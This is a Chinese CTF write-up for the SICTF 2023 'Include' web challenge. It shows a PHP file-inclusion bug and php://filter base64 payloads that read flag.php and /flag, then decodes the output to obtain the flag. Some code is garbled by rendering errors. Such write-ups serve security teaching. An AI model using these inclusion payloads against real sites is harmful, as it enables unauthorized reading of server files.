2023SICTF-web-白猫-[签到]Include

2023-11-29 10:42:32 浏览数 (2)

0×01 分析题目

#题目名称: [签到]Include #题目简介: flag位于flag.php,是一个非常简单的文件包含捏~ #题目环境: http://210.44.151.51:10035/ #函数理解: substr() 函数返回字符串的一部分 如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。 语法 substr(string,start,length) 参数string,必需,规定要返回其中一部分的字符串 参数start,必需,规定在字符串的何处开始 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始,(n-1) #环境代码: <?php #PHP开始代码,头代码 error_reporting(0); #屏蔽报错信息 if (isset(KaTeX parse error: Expected '}', got '#' at position 60: … #̲_GET函数获取SICTF变量的数据,isset函数用来检测SICTF变量是否存在并且是否非空(NULL),if循环判断语句条件满足继续向下执行 if ( substr(KaTeX parse error: Expected '}', got '#' at position 42: …php" ) { #̲substr函数返回SICTF…_GET[“SICTF”]); #include函数包含并执行文件,执行SICTF变量值里面的文件,并且返回结果 }

代码语言:javascript复制
    else {                                                            	#反之
        echo "你干嘛~~~";                                              	#输出 你干嘛~~~
    }
}else {                                                               #反之
    highlight_file(__FILE__);                                         #highlight_file() 函数对文件进行语法高亮显示,继续呈现页面代码
}                                                                     #结束

#初次尝试: 1.payload: URL/?SICTF=1; 回显结果: 你干嘛~~~ 2.payload: URL/?SICTF=php; 回显结果: 你好厉害呀~~~ 条件达成但是并没有回显flag

考虑到题目名称和题目简介以及环境代码中的include文件包含函数 猜测需要用到php://filter伪协议来绕过文件包含

0×02 开始解题

#进行PHP伪协议伪造

伪造之前先了解,PHP伪协议构造的规则 php://filter/过滤器|过滤器/resource=待过滤的数据流 web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode 构造后: php://filter/convert.base64-encode/resource=flag.php 完整payload:

代码语言:javascript复制
1. URL/?SICTF=php://filter/convert.base64-encode/resource=flag.php
2. URL/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php

拆分解析: ?是起始符可以理解为连接拼接的意思 URL是环境链接 SICTF是题目中给的变量 =是赋值的意思 php://filter是伪协议 convert转换,base64,encode编码 resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式 上传payload 回显结果: 你好厉害呀~~~PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg== 显而易见这是base64编码 送去base64解码,结果: <?php #PHP开始,头代码 KaTeX parse error: Expected 'EOF', got '#' at position 54: … #̲file_path文件路径,/根目录下的flag if (file_exists($file_path)) { #file_exists检查根目录下的flag文件或目录是否存在,if循环判断语句,条件满足继续向下执行

flag = file_get_contents(

file_path); #file_get_contents() 函数把根目录下的flag整个文件读入一个

flag字符串中,

flag定义的flag变量 } else{ #反之 echo “error”; #输出 error } #结束 通过分析以上代码可知,此flag文件可能是文本文件,并且在/根目录下 所以说resource待过滤的数据流不是flag.php而是/flag 重新构造payload: URL/?SICTF=php://filter/convert.base64-encode/resource=/flag 上传payload后数据流/flag传入

file_path参数里面,继续向下执行 进入到if循环判断语句中,检擦到

file_path参数变量/flag根目录下的flag文件存在,继续向下执行 file_get_contents() 函数把根目录下的flag整个文件读入一个

flag字符串参数中,并回显

flag字符串参数的值

再一次拿到base64编码: 你好厉害呀~~~U0lDVEZ7ZjZiYzQ1NTQtMDU5Mi00ODdkLTk5ZDQtNTAzZTQ0YWM0ODIyfQo= 送去base64解码 #拿到flag SICTF{f6bc4554-0592-487d-99d4-503e44ac4822}

0 人点赞